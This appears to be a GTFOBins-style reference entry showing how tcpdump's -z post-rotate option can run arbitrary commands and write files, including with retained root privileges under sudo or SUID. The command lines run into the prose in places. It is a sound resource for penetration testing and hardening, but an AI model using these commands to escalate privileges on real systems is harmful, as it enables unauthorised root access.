tcpdump
Command
This executable can run non-interactive system commands.
- This function can be performed by any unprivileged user.
echo /path/to/command >/path/to/temp-file chmod +x /path/to/temp-file tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo /path/to/command >/path/to/temp-file chmod +x /path/to/temp-file tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file -Z root - This function can be performed by any unprivileged user.
tcpdump -ln -i lo -w 'command-argument' -W 1 -G 1 -z /path/to/commandThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.tcpdump -ln -i lo -w 'command-argument' -W 1 -G 1 -z /path/to/command
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z userThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z userThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z user